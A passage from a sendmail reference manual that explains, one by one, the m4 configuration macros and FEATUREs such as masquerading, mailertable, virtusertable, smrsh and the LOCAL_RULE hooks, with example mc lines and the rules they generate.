In this section we detail each of the general macros available when configuring with the m4 technique. Here we list them in alphabetical order.

This reference is not comprehensive. Options, macros, and delivery agents, for example, are described in chapters dedicated to those topics.

19.6.1 BITNET-RELAY

The BITNET relay

(V8.1 and above)

The host that will forward BITNET-addressed email. If not defined, the .BITNET pseudo-domain won't work. See Section 31.10.5 for a description of this relay and of the $B macro.

19.6.2 DECNET-RELAY

The DECnet relay

(V8.7 and above)

The host that will forward DECnet addressed email. If not defined, the .DECNET pseudo-domain won't work, nor will an address of the form node::user. See Section 31.10.9 for a description of this relay and of the $C macro.

19.6.3 DOL

Insert literal $ in m4 output

(V8.1 and above)

Ordinarily, the $ character is interpreted by m4 inside its define expressions. But for ambitious undertakings, such as designing your own DOMAIN, FEATURE, or HACK files, you may need to include reference to a macro or operator (and hence a $) inside an m4 define expression. The way you do this is with the DOL m4 macro. For example,

define(`DOWN', `R DOL(*) < @ $1 > DOL(*)    DOL(1) < @ $2 > DOL(2)')

Here, we define the m4 macro named DOWN, which takes two arguments ($1 and $2). When used in one of your .m4 files,

DOWN(badhost, outhost)

it creates a rule by substituting the above arguments for the corresponding $1 and $2 in its original definition:

R $* < @ outhost > $2

The DOL m4 macro in the original definition allowed the insertion of $ characters (such as $*) while protecting those characters from being wrongly interpreted by m4.

Needless to say, you should never redefine the DOL macro.

19.6.4 EXPOSED-USER

Masquerade all but these

(V8.6 and above)

Class macro $=E is used by the V8 configuration file to hold a list of usernames that should never be masqueraded (even if masquerade is enabled with the MASQUERADE_AS m4 macro). By default, the user root is always in that class. There are two ways to add usernames to the class E. They can be added individually with the EXPOSED_USER m4 macro:

EXPOSED_USER(user)

Here, we cause the name user to be appended to the class E. This is identical to the following use of LOCAL_CONFIG to add to the class directly:

LOCAL_CONFIG
CE user

If you wish to store the list of nonmasqueradable users in an external file, you can cause that file to be read with an F configuration command (see Section 32.1.2, "The F Class Command"):

LOCAL_CONFIG
FE/usr/local/mail/visible.users

19.6.5 FAX-RELAY

The FAX relay

(V8.6 and above)

The host that will forward email faxes. If not defined, and if you don't have a fax delivery agent on your local machine, the .FAX pseudo-domain won't work. See Section 31.10.15 for a description of this relay and of the $F macro. Note that if you service faxes locally, you will also need to declare the fax delivery agent with the MAILER() m4 command instead (see Section 19.3.2).

19.6.6 FEATURE(allmasquerade)

Masquerade the sender too

(V8.2 and above)

If a MASQUERADE_AS host is defined, that hostname replaces all sender addresses. The allmasquerade feature causes header recipient addresses to also have that treatment.

But note that this feature can be extremely risky and that it should be used only if the MASQUERADE_AS host has an aliases file that is a superset of all aliases files and a passwd file that is a superset of all passwd files at your site. To illustrate the risk, consider a situation in which the masquerade host is named hub.domain and mail is being sent from the local workstation. If a local alias exists, say thishost-users, that does not also exist on the masquerade host, this allmasquerade feature will cause the To: header to go out as:

To: thishostusers@hub.domain

Here, the address thishostusers does not exist on the masquerade host, and as a consequence, replies to messages containing this header will bounce.

The form for the allmasquerade feature is:

define(`MASQUERADE_AS', `your.hub.domain')
FEATURE(`allmasquerade')

Note that MASQUERADE_AS (see Section 19.6.42) must also be defined and must contain a fully qualified hostname.

19.6.7 FEATURE(always-add-domain)

Add the local domain even on local mail

(V8.1 and above)

Normally, header recipient addresses and header and envelope sender addresses that select the local or prog delivery agents are left as is. If the always_add_domain feature is defined, local addresses that lack a host part have an @ and the MASQUERADE_AS host appended (if it is defined). If MASQUERADE_AS is not defined, an @ and the value of $j (see Section 31.10.20, $j) are appended.

The form for the always_add_domain feature is

FEATURE(`always_add_domain')

The always_add_domain feature is safe and recommended. It ensures that all addresses that are locally delivered will be fully qualified. See the allmasquerade feature for a description of the risks surrounding masquerading addresses.

19.6.8 FEATURE(bestmx-is-local)

Accept best MX record as local if in $=w

(V8.6 and above)

The class w (see Section 32.5.8) is recommended for defining which hostnames will be treated as being equivalent to the local hostname. That method, however, requires that the mail administrator manually keep the class up to date.

As an alternative, for low- to medium-volume sites, use the bestmx_is_local feature. When enabled, this feature looks up each hostname that it finds in the bestmx internal database map (see Section 33.8.2, bestmx). That map returns the best MX record (if it is known) for that name. That returned record is then compared to the list of hostnames in class w to see whether it is equivalent to the local host. If so, the address is accepted for local delivery.

The form for the bestmx_is_local feature:

FEATURE(`bestmx_is_local')

If you wish to limit lookups to a small list of domains, you can add them as a second argument:

FEATURE(`bestmx_is_local', `domain1 domain2 etc.')

The list of domains is added to the class $=B. Only hosts in those domains are allowed to list your site as the best MX record for use with this feature.

Use of this feature is best limited to low-volume sites. Looking up every address in the bestmx map can cause numerous DNS enquiries. At high-volume sites the magnitude of extra DNS enquiries can adversely tax the system.

There is also a risk to this feature. Someone could create an MX record for your site without your knowledge. Bogus mail might then be accepted at your site without your permission.

bogus.site.com.    IN MX 0 your.real.domain

Here, mail to bogus.site.com would be sent to your site, where the name bogus.site.com would be looked up with the bestmx_is_local feature. Your sendmail would find itself listed as MX for bogus.site.com and so would accept the bogus mail and attempt to deliver it locally. If the bogus name were designed to discredit you, it could be set to sex.bogus.site.com for example, and mail to root@sex. would be delivered to you without your knowing the reason.

19.6.9 FEATURE(bitdomain)

Convert BITNET addresses into Internet addresses

(V8.1 and above)

Many Internet hosts have BITNET addresses that are separate from their Internet addresses. For example, the host icsi.berkeley.edu has the registered BITNET name ucbicsi. If a user tried to reply to an address such as:

user@ucbicsi.bitnet

that mail would fail. To help with translations from registered BITNET names to Internet addresses, John Gardiner Myers has supplied the bitdomain program in the contrib subdirectory. It produces output in the form

ucbicsi    icsi.berkeley.edu

that can be put into database form for use with the K configuration command. The bitdomain feature causes rules to be included in the configuration file that perform the necessary translation:

R$* < @ $+ .BITNET > $*         $: $1 < @ $(bitdomain $2 $: $2.BITNET $) > $3

Note that this rule requires BITNET addresses to be so identified with a .BITNET suffix. If the address, without the suffix, is found in the bitdomain database, the Internet equivalent address is used in its place. (See also the UUCPSMTP m4 macro and the domaintable feature.

The form of the bitdomain feature is

FEATURE(`bitdomain')

This declaration causes the following K configuration command to be included in addition to the above rule:

Kbitdomain hash -o /etc/bitdomain.db

The bitdomain feature is one of those that can take an argument to specify a different form of or name for the database:

FEATURE(`bitdomain',`dbm -o /etc/bitdomain')

The extra argument causes the above K command to be replaced with the following one:

Kbitdomain dbm -o /etc/bitdomain

The bitdomain feature is safe. You can routinely include it in all configuration files. The database lookup is performed only if the .BITNET suffix is present and the database file exists.

Note that you must also define BITNET_RELAY (see Section 31.10.5) if you want .BITNET suffixed mail that is not found in the database to be routed to a relay machine. If BITNET_RELAY is not defined, .BITNET suffixed mail that is not found in the database is bounced.

19.6.10 FEATURE(domaintable)

Accept old as equivalent to new domain

(V8.2 and above)

Some sites need to use multiple domain names when transitioning from an old domain to a new one. The domaintable feature enables such transitions to operate smoothly by rewriting the old domain to the new. To begin, create a file of the form:

other.domain    local.host.domain

In it the left side of each line has one of possibly many fully qualified hostnames, and the right side has one of your local hostnames. The makemap(1) program (see Section 33.2, "Create Files with makemap") is then used to convert that file into a database.

The domaintable feature causes a rule like this to be included in your configuration file:

R$* < @ $+ > $*                 $: $1 < @ $(domaintable $2 $) > $3

Here, each host part of an address in rule set 3 is looked up in the domaintable map. If it is found, the local name from that map replaces it, and the address is treated as local.

The domaintable feature enables this lookup by including a K configuration command:

Kdomaintable hash -o /etc/domaintable

The form of domaintable feature is

FEATURE(`domaintable')

The domaintable feature is one of those that can take an argument to specify a different form of or different name for the database:

FEATURE(`domaintable',`dbm -o /etc/domaintable')

The extra argument causes the above K command to be replaced with the following one:

Kdomaintable dbm -o /etc/domaintable

The domaintable feature is safe. You can routinely include it in all configuration files. The database lookup is performed only if the database file exists. (See Section 33.3.4.8, "-o the database file is optional (V8.1 and above)" for a description of the K command's -o switch.)

Although this feature might appear suitable for a service provider that wishes to accept mail for client domains, it really is not. Such a service provider should use the virtusertable feature instead.

19.6.11 FEATURE(genericstable)

Transform sender addresses

(V8.8 and above)

The User Database (see Section 33.5, "The User Database") allows recipient addresses to be changed so that they can be delivered to new hosts. For example, gw@wash.dc.gov can be transformed with the User Database into george@us.edu. The genericstable provides the same type of transformation on the sender's address.

To begin, create a file of the form

user    newuser@new.host.domain

In it, each line begins with the user part of an address. On the right is the new address for that sender. One example of a use for this table might be to make the user news always appear as though it was from the news machine:

news    news@news.our.domain

The makemap(1) program (see Section 33.2) is then used to convert this file into a database:

makemap hash file

The genericstable feature causes a rule like this to be included in your configuration file:

R$+ < @ $=G . >      $: < $(generics $1 $: @ $) > $1 < @ $2 . >

Here, in rule set 93, any address whose host part is in the class $=G has the user part looked up in the genericstable database. If it is found, it is rewritten to be the address from the right-hand side of the original file. Note that local and non-local hosts can appear in $=G for use with this feature. Also note that the members of $=w are not automatically placed in $=G.

The genericstable feature enables this lookup by including a K configuration command:

Kgenericstable hash -o /etc/genericstable

The form of genericstable feature's declaration is

FEATURE(`genericstable')

The genericstable feature is one of those that can take an argument to specify a different form of or a different name for the database:

FEATURE(`genericstable',`dbm -o /etc/genericstable')

The extra argument causes the above K command to be replaced with the following one:

Kgenericstable dbm -o /etc/genericstable

See Section 33.3.4.8 for a description of the K command -o switch.

The genericstable should be enabled only if you intend to use it. It causes every sender to be looked up in that database.

19.6.12 FEATURE(limited-masquerade)

Only masquerade $=M hosts

(V8.8 and above)

Ordinarily, addresses can be masqueraded if they are unqualified (lack a domain part) or if they match any hostname in $=w. Masquerading replaces the hostname part of an address with the fully qualified hostname defined by MASQUERADE_AS.

Some sites handle mail for multiple domains. For these sites it is important to recognize all incoming mail as local via $=w. On the other hand, only a subset of the hosts in $=w should be masqueraded. Consider, for example, the host our.domain that receives mail for the domains his.domain and her.domain:

Cw our.domain his.domain her.domain

In this scenario we want all but her.domain to be masqueraded as our.domain. The way to create such exceptions is with the limited_masquerade feature.

The limited_masquerade feature causes masquerading to be based on $=M instead of $=w. You use limited_masquerade like this:

define(`MASQUERADE_AS', `our.domain')
FEATURE(`limited_masquerade')
LOCAL_CONFIG
Cw our.domain his.domain her.domain
MASQUERADE_DOMAIN(our.domain his.domain)

MASQUERADE_AS needs to be declared first. Then the limited_masquerade feature is declared. Finally, the LOCAL_CONFIG allows two classes to be declared. The first is the normal $=w. The second uses MASQUERADE_DOMAIN to indirectly declare $=M and puts a subset of the $=w hosts in it. Specifically, the second class omits the her.domain.

The limited_masquerade feature causes sendmail to masquerade the hosts in $=M, instead of the normal masquerading of $=w. Note that $=M is also used to list the domains for the masquerade_entire_domain feature.

19.6.13 FEATURE(local-procmail)

Use procmail(1) as local delivery agent

(V8.7 and above)

The procmail (1) program can handle a user's mail autonomously (for example, sorting incoming mail into folders based on subject) and can function as a sendmail delivery agent. Some administrators prefer procmail(1) in this latter role over normal UNIX delivery agents. If this is your preference, you can easily use procmail(1) in that role with the local_procmail feature:

FEATURE(`local_procmail')

The local_procmail feature changes the P=, F=, and A= equates for the local delivery agent into

P=/usr/local/bin/procmail                   <-  see Section 30.4.9, P=
F=SPfhn                                     <-  see Section 30.4.5, F=
A=procmail -Y -a $h -d $u                   <-  see Section 30.4.1, A=

If you have installed procmail in a different location, you can specify that alternative location with a second argument:

FEATURE(`local_procmail', `/admin/mail/bin/procmail')

If you need to use different F= flags than those shown, you may declare new flags with LOCAL_MAILER_FLAGS (see Section 30.4.5.1, "m4 modification of F="). If you need to specify different command line arguments, you may do so with LOCAL_MAILER_ARGS (see Section 30.4.1.1, "m4 A= definitions"). Both must appear before the feature.

19.6.14 FEATURE(mailertable)

Database selects new delivery agents

(V8.1 and above)

A mailertable is a database that maps host.domain names to special delivery agent and new domain name pairs. Essentially, it provides a database hook into rule set 0. The new domain names are used for routing but are not reflected in the headers of messages. For example, one mapping in a source text file could be:

compuserv.com    smtp:compuserve.com

The key portion (on the left) must be either a fully qualified host and domain name, such as lady.bcx.com, or a partial domain specification with a leading dot, such as .bcx.com. On the right the delivery agent name must be separated from the new domain name by a colon. The source text file is converted into a database with the makemap(1) program (see Section 33.2). Beginning with V8.8 sendmail, the host part can also specify a user:

downhost.com     smtp:postmaster@mailhub.our.domain

The mailertable feature causes rules to be included in your configuration file that look up host.domain names (on the left in the source file) in the mailertable database:

R< $+ > $*                   $: < $(mailertable $1 $) > $2   lookup
R< error : $- $+ > $*        $#error $@ $1 $: $2             check - error?

Here, the host.domain is looked up in the mailertable database, and a delivery agent, colon, and domain pair are returned. If the delivery agent (in mailertable) is error, the #error delivery agent is called. This allows error messages to be put into the database, as, for example,

badhost    error:nohost mail to badhost is prohibited

The first token following the error: is passed in the $@ part of the #error delivery agent. Note that you must use words or <sysexits.h> codes here, not DSN values (such as 3.1.0), because the latter would be wrongly broken up into five tokens. See Section 30.5.2, "The error Delivery Agent" for a full description of the #error delivery agent and for tables of useful words and codes for the $@ part.

If the host is found and it is not an error delivery agent, that delivery agent is selected. Otherwise, the unresolved host.domain is passed to rule set 90 for further mailertable lookups. Rule set 90 recursively strips the leftmost part of the host.domain away and looks up the result in the mailertable. This continues until either a match is found or only a dot is left. Then that dot is looked up to give you a hook for failed lookups:

.     smtp:smarthost

As a special case, the delivery agent named local causes slightly different behavior in that it allows the name of the target user to be listed without a host part:

virtual.domain    local:bob

Here, any mail that is received for the virtual.domain is delivered to the user bob on the local machine. If the user part is missing,

virtual.domain    local:

the mail is delivered to the user part of the original address.

The form for the mailertable feature is:

FEATURE(`mailertable')

This causes the following database declaration in the configuration file:

Kmailertable hash -o /etc/mailertable.db

If you wish to use a different form of database (such as dbm), the mailertable feature accepts an argument:

FEATURE(`mailertable',`dbm -o /etc/mailertable')

The mailertable feature was inspired by the IDA version of sendmail.

19.6.15 FEATURE(masquerade-entire-domain)

Masquerade all hosts under a domain

(V8.8 and above)

Ordinarily, masquerading transforms any host from a list of hosts in the class $=w (see Section 32.5.8) into the host defined by MASQUERADE_AS. If domains are also masqueraded with MASQUERADE_DOMAIN, they too are transformed. For example, consider these declarations:

MASQUERADE_AS(`our.domain')
MASQUERADE_DOMAIN(`her.domain')

The first line causes any host part of an address contained in the class $=w to be transformed into our.domain. The second line transforms any domain part of her.domain into our.domain.

The key point here is that the domain part her.domain will be transformed, whereas hosts under that domain will not be transformed:

george@her.domain            ->  becomes   ->     george@our.domain
george@host.her.domain       ->  remains   ->     george@host.her.domain

If you wish MASQUERADE_DOMAIN to transform all the hosts under the declared domain, you may use the masquerade_entire_domain feature:

MASQUERADE_AS(`our.domain')
MASQUERADE_DOMAIN(`her.domain')
FEATURE(`masquerade_entire_domain')

This feature extends masquerading of her.domain to include all the hosts under that domain:

george@her.domain            ->  becomes   ->     george@our.domain
george@host.her.domain       ->  becomes   ->     george@our.domain
george@host.sub.her.domain   ->  becomes   ->     george@our.domain

Note that you may masquerade only domains that are under your direct jurisdiction and control. Also note that domain masquerading is intended for actual domains. Virtual (fictional) domains are better handled with the virtusertable feature (see Section 19.6.28). But note that the virtusertable feature handles only incoming mail.

19.6.16 FEATURE(masquerade-envelope)

Masquerade the envelope too

(V8.7 and above)

Ordinarily, masquerading (see Section 19.4.4, "Masquerading") affects only the headers of email messages, but sometimes it is also desirable to masquerade the envelope. [4] For example, error messages are often returned to the envelope-sender address. When many hosts are masquerading as a single host, it is often desirable to have all error messages delivered to that central masquerade host.

[4] See Section 1.7, "The Envelope" for a description of the envelope and how it differs from headers.

The masquerade_envelope feature causes masquerading to include envelope addresses:

MASQUERADE_AS(`our.domain')          <-  masquerade headers
FEATURE(`masquerade_envelope')       <-  also masquerade the envelope

These mc lines cause all envelope addresses (where the host part is declared as part of class $=w; see Section 32.5.8) to be transformed into our.domain. See MASQUERADE_DOMAIN for a way to also masquerade other domains, and see the masquerade_entire_domain feature for a way to also masquerade all the hosts under other domains.

In general, masquerade_envelope is recommended for uniform or small sites. Large or variegated sites may prefer to tailor the envelope on a subdomain-by-subdomain or host-by-host basis.

19.6.17 FEATURE(nocanonify)

Don't canonify with $[ and $]

(V8.1 and above)

Ordinarily, as part of rule set 3, sendmail tries to canonify (add a domain to) any hostname that lacks a domain part. It does this by passing the unadorned hostname to the $[ and $] operators (see Section 28.6.6, "Canonicalize Hostname: $[ and $]"). The nocanonify feature prevents sendmail from passing addresses to $[ and $] for canonicalization. This is generally suitable for use by sites that act only as mail gateways or that have MUAs that do full canonicalization themselves.

The form for the nocanonify feature is:

FEATURE(`nocanonify')

You might also want to use:

define(`confBIND_OPTS',`-DNSRCH -DEFNAMES')

to turn off the usual resolver options that perform a similar function (see Section 34.8.55, ResolverOptions (I)).

Note that the nocanonify feature disables only one possible use of $[ and $] in the configuration file. If the nouucp feature is omitted (thereby including UUCP support), addresses that end in a .UUCP suffix still have the preceding part of the address canonified with $[ and $] even if the nocanonify feature was declared.

Note that sending out any unqualified addresses can pose a risk. Be sure to read Section 16.5, "Qualify All Addresses?" for a discussion of why you might not want to use this feature.

19.6.18 FEATURE(nodns)

Omit DNS support from configuration file

(V8.6)

The V8.6 sendmail configuration files usually assumed that you were using DNS to get host information. If you did not have DNS available (for example, if you were on a remote UUCP node), you could declare that fact:

FEATURE(`nodns')

This told sendmail to assume that DNS was not available. It did this by not setting any of the _res.options flag bits. Note that this was really only a suggestion, because other features (such as bestmx_is_local temporarily set those flag bits and used DNS anyway.

Beginning with V8.7 sendmail, you should either use the service-switch file (see Section 34.8.61, ServiceSwitchFile) to control use of DNS or compile a sendmail without DNS support (see Section 18.8.23, NAMED-BIND).

Note that the result of a hostname lookup failure differs depending on whether or not DNS is used. If a hostname is looked up with DNS and not found, the message will be queued, and the name will be looked up again later. If the host is looked up in /etc/hosts and the lookup fails, the message bounces.

19.6.19 FEATURE(nouucp)

Eliminate all UUCP support

(V8.1 and above)

If your site wants nothing to do with UUCP addresses, you can enable the nouucp feature. Among the changes this causes that are the ! character is not recognized as a separator between hostnames; and all the macros that relate to UUCP (see Section 19.4.6) are ignored. This feature truly means no UUCP.

You declare nouucp is like this:

FEATURE(`nouucp')

Note that all the other UUCP declarations (such as UUCP_RELAY) will be ignored if you use nouucp.

19.6.20 FEATURE(nullclient)

Relay all mail through a mail host

(V8.6 and above)

Some sites have a number of workstations that never receive mail directly. They are usually clustered around a single mail server. Normally, all clients in a cluster like this send their mail as though the mail is from the server, and they relay all mail through that server rather than sending directly. If you have such a configuration, use

FEATURE(`nullclient', `server')

See Chapter 16, The null.mc File and m4, for a lesson in how to use this feature. Also see the nocanonify feature, which can also be used with nullclient.

If you wish to prevent the nullclient version of sendmail from trying to access aliases, add this line to your .mc file:

undefine(`ALIAS_FILE')

Note that this works only with V8.8 and above .mc files.

19.6.21 FEATURE(redirect)

Add support for address.REDIRECT

(V8.1 and above)

The redirect feature allows aliases to be set up for retired accounts. Those aliases bounce with an indication of the new forwarding address. A couple of lines from such an aliases(5) file might look like this:

george:   george@new.site.edu.REDIRECT
william:  wc@creative.net.REDIRECT

The redirect feature causes mail addressed to george, for example, to be bounced with a message like this:

551 User not local; please try <george@new.site.edu>

Note that the message is bounced and not forwarded. No notification is sent to the recipient's new address.

The form of the redirect feature is

FEATURE(`redirect')

This feature adds the pseudo-domain .REDIRECT to class $=P, which prevents that suffix from being looked up with DNS. It then adds rules to rule set 0 that handle this suffix only if the {opMode} macro (see Section 31.10.28, ${opMode}) has any value other than i (for initialize aliases as set by the -bi command line switch, see Section 36.1.3, "newaliases"). The actual bounce is caused by calling the error delivery agent with a RHS like this:

$# error $@ 5.1.1 $: "551 User not local; please try " <$1@$2>

The 5.1.1 is a DSN error code (see RFC1893), and the 551 is an SMTP code (see RFC821).

To illustrate why the message is bounced rather than forwarded, consider a fictional MTA that is clever about getting this message:

551 User not local; please try <george@new.site.edu>

Instead of bouncing the outgoing message, the fictional MTA tries to be clever and to deliver to new.site.edu. If new.site.edu also responds with a REDIRECT message, the MTA tries the next host in line. This is a bad idea for two reasons: First, elaborate loop detection would need to be designed to catch infinite REDIRECT loops, and second, a down host anywhere in the sequence would necessitate that the series of connections be made over and over again until they all succeeded.

19.6.22 FEATURE(smrsh)

Use smrsh (sendmail restricted shell)

(V8.7 and above)

Although sendmail tries to be very safe about how it runs programs from the aliases(5) and ~/.forward files (see Section 24.2.3, "Delivery via Programs"), it still may be vulnerable to some internal attacks. To limit the selection of programs that sendmail is allowed to run, V8 sendmail now includes source and documentation for the smrsh (sendmail restricted shell) program. See Section 22.8.2, "The smrsh Program" for a full description of the smrsh program.

After you have compiled, installed, and configured smrsh, you can include support for it in your configuration file with the smrsh feature:

FEATURE(`smrsh')
MAILER(`local')

Note that the smrsh feature must precede the local delivery agent declaration. If these lines are reversed, the following error will print when you run m4:

*** FEATURE(smrsh) must occur before MAILER(local)

The default location for the smrsh program is /usr/local/etc/smrsh. If you installed smrsh in another location, you will need to add an argument to the smrsh feature:

FEATURE(`smrsh', `/usr/bin/smrsh\')

Use of smrsh is recommended by CERT, so you are encouraged to use this feature as often as possible.

19.6.23 FEATURE(notsticky)

Don't differ user from user@local.host

(V8.1 through V8.6)

Mail addressed to a local user that includes the name of the local host as part of the address (i.e., local.host) is delivered locally. From V8.1 to V8.6 sendmail, if the address has a host part, lookups in the User Database (see Section 33.5) and the additional processing of rule set 5 (see Section 29.7, "Rule Set 5") are skipped. Under V8.6, addresses with just the user part are always processed by the User Database and rule set 5.

The V8.6 notsticky feature changes this logic. If this feature is chosen, all users are looked up in the User Database, and the additional processing done by rule set 5 is skipped.

Beginning with V8.7, the default is now as if notsticky were used, and the stickyhost feature is used to restore the previous default.

19.6.24 FEATURE(stickyhost)

Differ user from user@local.host

(V8.7 and above)

Beginning with V8.7 sendmail, addresses with and without a host part that resolve to local delivery are handled in the same way. For example, user and user@local.host are both looked up with the User Database (see Section 33.5) and processed by rule set 5 (see Section 29.7). This processing can result in those addresses being forwarded to other machines.

With the stickyhost feature, you may change this behavior:

FEATURE(`stickyhost')

By defining stickyhost, you are telling sendmail to mark addresses that have a local host part as "sticky":

user                 <-  not sticky
user@local.host      <-  sticky

Sticky hosts tend to be delivered on the local machine. That is, they are not looked up with the User Database and are not processed by rule set 5.

One use for this feature is to create a domainwide name space. In it, all addresses without a host part will be forwarded to a central mail server. Those with a local host part will remain on the local machine and be delivered in the usual local way.

Note that this is opposite the behavior of the former notsticky feature of V8.6.

19.6.25 FEATURE(use-ct-file)

Use /etc/sendmail.ct for a list of trusted users

(V8.7 and above)

V6 sendmail removed the concept of trusted users (see Section 22.8, "Security Features"). V8.7 reintroduced trusted users, but in a different form from that used by V5 sendmail. Now, trusted users are those who may run sendmail with the -f switch (see Section 36.7.21, -f and -r) without generating an authentication warning (see Section 35.10.35, X-Authentication-Warning:):

X-Authentication-Warning: host: user set sender to other using -f

To prevent this warning, the user should be added to the class $=t (see Section 32.5.7, $=t). There are three ways to do this. You may use the T configuration command:

Tuser

Or you may use the class command:

Ctuser

Or you may use the use_ct_file and add user to the /etc/sendmail.ct file. To use this latter approach, declare the following in your mc file:

FEATURE(`use_ct_file')

If you want to locate the /etc/sendmail.ct in a different place or give it a different name, you may do so with this declaration:

define(`confCT_FILE', `/etc/mail/trusted.list')

Note that the file must exist before sendmail is started, or it will complain:

fileclass: cannot open /etc/mail/trusted.list: No such file or directory

If you want the file to optionally exist, you may add a -o (see Section 32.1.2) to the conf-CT_FILE definition:

define(`confCT_FILE', `-o /etc/sendmail.ct')

Here, we don't rename the file: we make the default file's presence optional.

19.6.26 FEATURE(use-cw-file)

Use /etc/sendmail.cw for local hostnames

(V8.1 and above)

The use_cw_file feature causes the file /etc/sendmail.cw to be read to obtain alternative names for the local host. One use for such a file might be to declare a list of hosts for which the local host is acting as the MX recipient. The use_cw_file is used like this:

FEATURE(`use_cw_file')

This feature causes the following F configuration command (see Section 32.1.2) to appear in the configuration file:

Fw/etc/sendmail.cw

The actual filename can be changed from /etc/sendmail.cw (the default) by defining the confCW_FILE macro:

define(`confCW_FILE', `-o /etc/mail/sendmail.cw')

Here, we both rename the file and make its presence optional by adding the -o switch (see Section 32.1.2).

If the local host is known by only a few names, an alternative is to instead include the following C configuration command (see Section 32.1.1, "The C Class Command") in place of the above feature:

Cwname1 name2

Here, name1 and name2 are alternative names for the local host.

19.6.27 FEATURE(uucpdomain)

Convert UUCP hosts via a database

(V8.1 and above)

The uucpdomain feature is similar to bitdomain but is used to translate addresses of the form

user@host.UUCP

into the ! path form or routing used by UUCP. The database for this would contain, for example, key and data pairs like this:

host     a!b!c!host

This source text file is converted into a database with the makemap(1) program (see Section 33.2). But note that no software is supplied to transform the UIUC pathalias(1) program's output into a form that is suitable for this database.

The way you declare uucpdomain is like this:

FEATURE(`uucpdomain')

This causes a rule like this to be added to rule set 3:

R$* < @ $+ .UUCP > $*           $: $1 < @ $(uudomain $2 $: $2.UUCP $) > $3

Here, the host in the pseudo-domain .UUCP is looked up in the database uudomain. The uucpdomain feature also creates the declaration for that database:

Kuudomain hash -o /etc/uudomain

If you wish to use a different form of database or a different location for the database file, you may do so by adding an argument to the feature declaration:

FEATURE(`uucpdomain', `dbm -o /etc/mail/uudomain')

Here, we tell sendmail that we will be using the NDBM form of database instead of the original NEWDB form (see Section 33.1, "Enable at Compile Time"). We also relocated the file into the /etc/mail directory.

19.6.28 FEATURE(virtusertable)

Support for virtual domains

(V8.8 and above)

A virtusertable is a database that maps virtual (possibly nonexistent) domains into new addresses. Essentially, it gives you a database hook into the early part of rule set 0. Note that this only reroutes delivery. It does not change mail headers.

By way of example, consider one mapping in a source text file:

info@stuff.for.sale.com       bob
info@stuff.wanted.com         hans@remote.host
@fictional.com                user@another.host

The key portion (on the left) must be either a full address (user, host, and domain name), as in the first two lines, or an address with the user part missing, as in the last line. This source text file is converted into a database with the makemap(1) program (see Section 33.2).

The first two lines illustrate a full address for the key. The first line will be delivered to a local user (bob) the second to a remote user (hans@remote.host). The third line file shows how all mail to a virtual domain (fictional.com) can be delivered to a single address, no matter what the user part is.

Note that sendmail does a single lookup, so one line may not reference another. The following won't work:

info@stuff.for.sale.com       forsale@fictional.com
@fictional.com                user@another.host

Here, mail to info@stuff.for.sale.com will be delivered to forsale@fictional.com, not to user@another.host.

Also note that virtual domains in the key (such as @fictional.com) must be added to class w in order for them to be recognized as local.

You declare the virtusertable like this in your mc file:

FEATURE(`virtusertable')

This causes the following database declaration to appear in the configuration file:

Kvirtusertable hash -o /etc/virtusertable

If you wish to use a different form of database (such as dbm) or a different location, the virtusertable feature accepts an argument:

FEATURE(`virtusertable',`dbm -o /etc/mail/virtusertable')

If the value (the right-hand side in virtusertable) is error:, the #error delivery agent is called. This allows error messages to be put into the database, as, for example,

info@for.sale.com    error:nouser We no longer sell things here

The text following the error: is passed to the #error delivery agent like this:

Rerror : $- $+       $#error $@ $1 $: $2

Thus the first token following the error: is passed in the $@ part. Note that you must use words here, not DSN values (such as 3.1.0), because the latter would be wrongly broken up into five tokens. See Section 30.5.2 for a full description of the #error delivery agent and for tables of useful words for the $@ part.

19.6.29 HACK

Temporary customizations

(V8.1 and above)

Some things just can't be called features. To make this clear, they go in the _CF_DIR_/hack directory (see Section 19.2.1, "Maintain local files with _CF_DIR_") and are referenced using the HACK macro. They tend to be site-dependent.

HACK(cssubdomain)

This illustrates use of the Berkeley-dependent cssubdomain hack (that makes sendmail accept local names in either Berkeley.EDU or CS.Berkeley.EDU).

Another way to think of a hack is as a transient feature. Create and use HACK as a temporary solution to a temporary problem. If a solution becomes permanent, move it to the FEATURE directory (see Section 19.3.4) and reference it there.

19.6.30 LOCAL-CONFIG

Add general information and rules

(V8.1 and above)

The LOCAL_CONFIG macro allows custom configuration lines to be inserted by using the mc file. The inserted lines are carried literally into the output and appear in the resulting configuration file just before the rules.

LOCAL_CONFIG
FE/usr/local/mail/visible.users
Khostmap hash /etc/hostmap.db

In this example the class $=E has additional names read from the file visible.users, and the hostmap database is declared.

New rule sets can be inserted with LOCAL_CONFIG. For V8.7 and above we recommend using symbolic names to avoid collision with rule set numbers used by sendmail:

LOCAL_CONFIG
Sfoo
  <-  custom rules here

See the discussion of diversions (see Section 19.1.4, "m4 diversions") to cause LOCAL_CONFIG lines to output in a predetermined order.

19.6.31 LOCAL-RELAY

Relay for unqualified user (deprecated)

(V8.1 and above)

Unless you specify otherwise, any address that is a username without any @host part is delivered using the local delivery agent. If you prefer to have all such mail handled by a different machine, you may define that other machine with the LOCAL_RELAY m4 macro.

Note that a relay is different from the knowledgeable hub defined with MAIL_HUB. (See later in this section for an illustration of how MAIL_HUB and LOCAL_RELAY interact.)

This macro is deprecated because it doesn't work well with some MUAs (for example, mh(1)). This is because some MUAs put a host part on all addresses even if only the user part was specified.

19.6.32 LOCAL-RULE-0

Add rules to rule set 0

(V8.6 and above)

In rule set 0, after the local delivery agent has been selected and before the uucp, smtp, and the like have been selected, you can insert custom delivery agents of your own. To do this, use the LOCAL_RULE_0 macro:

LOCAL_RULE_0
# We service lady via an mx record.
R$+ < @ lady.Berkeley.EDU. >         $#uucp $@ lady $: $1

Here, we introduce a new rule to select a delivery agent. The host lady is a UUCP host for which we accept mail via an MX record.

Note that LOCAL_RULE_0 fits into flow of rules through rule set 0 like this:

  1. 1. Basic canonicalization (list syntax, delete local host, etc.)

  2. 2. LOCAL_RULE_0

  3. 3. UUCP, BITNET_RELAY (see Section 31.10.5), etc.

  4. 4. LOCAL_NET_CONFIG (see Section 19.6.37)

  5. 5. SMART_HOST (see Section 19.6.47)

  6. 6. SMTP, local, etc. delivery agents

19.6.33 LOCAL-RULE-1

Add rules to rule set 1

(V8.6 and above)

See LOCAL-RULE-2.

19.6.34 LOCAL-RULE-2

Add rules to rule set 2

(V8.6 and above)

Rule sets 1 and 2 are normally empty and not included in the configuration file created from your mc file. Rule set 1 processes all sender addresses (see Section 29.9, "Rule Set 1"), and rule set 2 processes all recipient addresses (see Section 29.8, "Rule Set 2"). These m4 macros are used just like LOCAL_RULE_0, above but they introduce rules that would otherwise be omitted, rather than adding rules to an existing rule set.

